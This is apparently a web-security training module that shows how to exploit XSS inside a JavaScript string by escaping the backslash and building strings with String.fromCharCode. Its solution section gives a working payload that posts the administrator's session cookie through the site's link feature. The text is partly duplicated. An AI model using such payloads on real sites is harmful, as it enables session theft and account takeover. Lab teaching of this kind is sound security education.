In this module, we exploit the XSS vulnerability in the exercise target, so you can start the task below and repeat the steps at your own pace.

In this task, we take advantage of the XSS vulnerability, due to the application's insecure way of setting and handling user input in a JavaScript string.

XSS in strings 2

Continuing from the previous module's topic. This time, the developers have improved input handling and our previous malicious code no longer works.

We start by investigating what changes the developers have made, by trying the following combination.

Exactly, the developers have added escaping of quotation marks to the application, so that the JavaScript code treats quotation marks as part of the string. Escaping means using backslashes in situations where you want to use string-breaking characters as part of the string.

The string below contains a single quotation mark and a backslash is used to include it inside the string without breaking the string's definition.

We continue the analysis by examining how the application treats the backslash, i.e. whether we can escape the backslash. We input the following.

Great, the application doesn't escape the backslash itself. This means that we can use a backslash before the quotation mark, so in the final JavaScript code, the application will escape our backslash and we can break the string and write our own JavaScript code. However, since the application escapes all the quotation marks we enter, we can't create our own strings in the application and we can't build our malicious code in the usual way. Fortunately, JavaScript has a built-in function called 

, which allows you to build strings without using quotation marks at all. It works like this.

With the fromCharCode function, you can construct any string you want. 

 you can find a list of characters and their char code values.

To double secure the vulnerability, we will still try to use the mentioned function in creating the alert box.

We create an 'xss' string and save it in the variable x. Then we input variable x into the alert function.

Finally, we execute an attack using the same idea as in the previous module, meaning we utilize the built-in link storage function of the application to leak the administrator session cookie. This happens in the following steps.

We will modify our previous malware in such a way that it uses the 

We add a link to the page that contains the final URL address where our malware is located. In this case, we use the 

We expect the system administrator to test our link, which forces the system administrator's browser to create a new link itself, including their session cookies

Try to reproduce the listed steps yourself! - You can take a cue from previous modules.

Voit ratkaista tehtävän lisäämällä sivulle seuraavan näköisen linkin.

Haittakoodiosuutemme näyttää seuraavanlaiselta.

Ja kauniisti kirjoitettuna seuraavanlaiselta.

Näin ratkaiset tehtävän; muista yrittää ensin itse!

*In this module, we exploit the XSS vulnerability in the exercise target, so you can start the task below and repeat the steps at your own pace.*

@exercise af74441b1684

Continuing from the previous module's topic. This time, the developers have improved input handling and our previous malicious code no longer works.

## Finding Vulnerability

We start by investigating what changes the developers have made, by trying the following combination.

```javascript
'; //
```

![](sanity:image-8557463a71b0a4c237218dc3d0e96c848cb0cba4-1118x174-png)

Exactly, the developers have added escaping of quotation marks to the application, so that the JavaScript code treats quotation marks as part of the string. Escaping means using backslashes in situations where you want to use string-breaking characters as part of the string.

*The string below contains a single quotation mark and a backslash is used to include it inside the string without breaking the string's definition.*

```javascript
const a = '\'';
// a is equal to '
```

We continue the analysis by examining how the application treats the backslash, i.e. whether we can escape the backslash. We input the following.

```javascript
\'; //
```

![](sanity:image-066268659f7ee187ae9c0e88a8db19f7424e7e14-1134x168-png)

Great, the application doesn't escape the backslash itself. This means that we can use a backslash before the quotation mark, so in the final JavaScript code, the application will escape our backslash and we can break the string and write our own JavaScript code. However, since the application escapes all the quotation marks we enter, we can't create our own strings in the application and we can't build our malicious code in the usual way. Fortunately, JavaScript has a built-in function called **fromCharCode**, which allows you to build strings without using quotation marks at all. It works like this.

```javascript
var x = String.fromCharCode(120,115,115);
/*
  120 == x,
  115 == s,
  115 == p
  meaning that the fromCharCode function returns us the string xss

*/
```

**With the fromCharCode function, you can construct any string you want. **[**Here**](https://www.w3schools.com/charsets/ref_html_ascii.asp)** you can find a list of characters and their char code values.**

To double secure the vulnerability, we will still try to use the mentioned function in creating the alert box.

*We create an 'xss' string and save it in the variable x. Then we input variable x into the alert function.*

```javascript
\'; var x = String.fromCharCode(120,115,115); alert(x); //
```

![](sanity:image-b6377db8d277eb762c6b070f51f09c864ad6c864-1366x342-png)

---

## 

---

## Exploit Vulnerability

Finally, we execute an attack using the same idea as in the previous module, meaning we utilize the built-in link storage function of the application to leak the administrator session cookie. This happens in the following steps.

- We will modify our previous malware in such a way that it uses the **fromCharCode** function for each character string.
- We add a link to the page that contains the final URL address where our malware is located. In this case, we use the **search** parameter.
- We expect the system administrator to test our link, which forces the system administrator's browser to create a new link itself, including their session cookies
- We log in as the system administrator

Try to reproduce the listed steps yourself! - You can take a cue from previous modules.

@embed 4587263531ca


Voit ratkaista tehtävän lisäämällä sivulle seuraavan näköisen linkin.

```javascript
https://www-9zrvaudoae.ha-target.com/?search=%5C%27%3B+var+linkavain+%3D+String.fromCharCode%28108%2C105%2C110%2C107%29%3B+var+linkarvo+%3D+String.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C104%2C97%2C107%2C97%2C116%2C101%2C109%2C105%2C97%2C46%2C102%2C105%2C47%2C63%29%3B+var+linkpolku+%3D+String.fromCharCode%2847%29%3B+var+linkmetodi+%3D+String.fromCharCode%2880%2C79%2C83%2C84%29%3B+var+fdata%3Dnew+FormData%28%29%3B+fdata.append%28linkavain%2Clinkarvo%2Bdocument.cookie%29%3B+fetch%28linkpolku%2C%7Bmethod%3A+linkmetodi%2C+body%3A+fdata%7D%29%3B+%2F%2F
```

Haittakoodiosuutemme näyttää seuraavanlaiselta.

```javascript
\'; var linkavain = String.fromCharCode(108,105,110,107); var linkarvo = String.fromCharCode(104,116,116,112,115,58,47,47,104,97,107,97,116,101,109,105,97,46,102,105,47,63); var linkpolku = String.fromCharCode(47); var linkmetodi = String.fromCharCode(80,79,83,84); var fdata=new FormData(); fdata.append(linkavain,linkarvo+document.cookie); fetch(linkpolku,{method: linkmetodi, body: fdata}); //
```

Ja kauniisti kirjoitettuna seuraavanlaiselta.

```javascript
\';
var linkavain = String.fromCharCode(108,105,110,107);
var linkarvo = String.fromCharCode(104,116,116,112,115,58,47,47,104,97,107,97,116,101,109,105,97,46,102,105,47,63); 
var linkpolku = String.fromCharCode(47); 
var linkmetodi = String.fromCharCode(80,79,83,84); 

var fdata=new FormData(); 
fdata.append(linkavain,linkarvo+document.cookie); 

fetch(linkpolku,{method: linkmetodi, body: fdata}); //
```

XSS in JavaScript strings 2

Learn how to find and exploit a vulnerability that is one of the most common vulnerabilities, easy to find, and yet very dangerous. Hackerone ranked XSS the #1 bug bounty vulnerability of 2021.

XSS (Cross-Site Scripting) vulnerabilities are both common and serious. For example, HackerOne has listed XSS as the number one vulnerability on their top 10 vulnerabilities list.

Vulnerability management is therefore extremely important, whether you are a penetration tester, a security consultant, a developer, or a bounty hunter!

XSS in JavaScript strings 2

Finding Vulnerability

Learn to hack — start here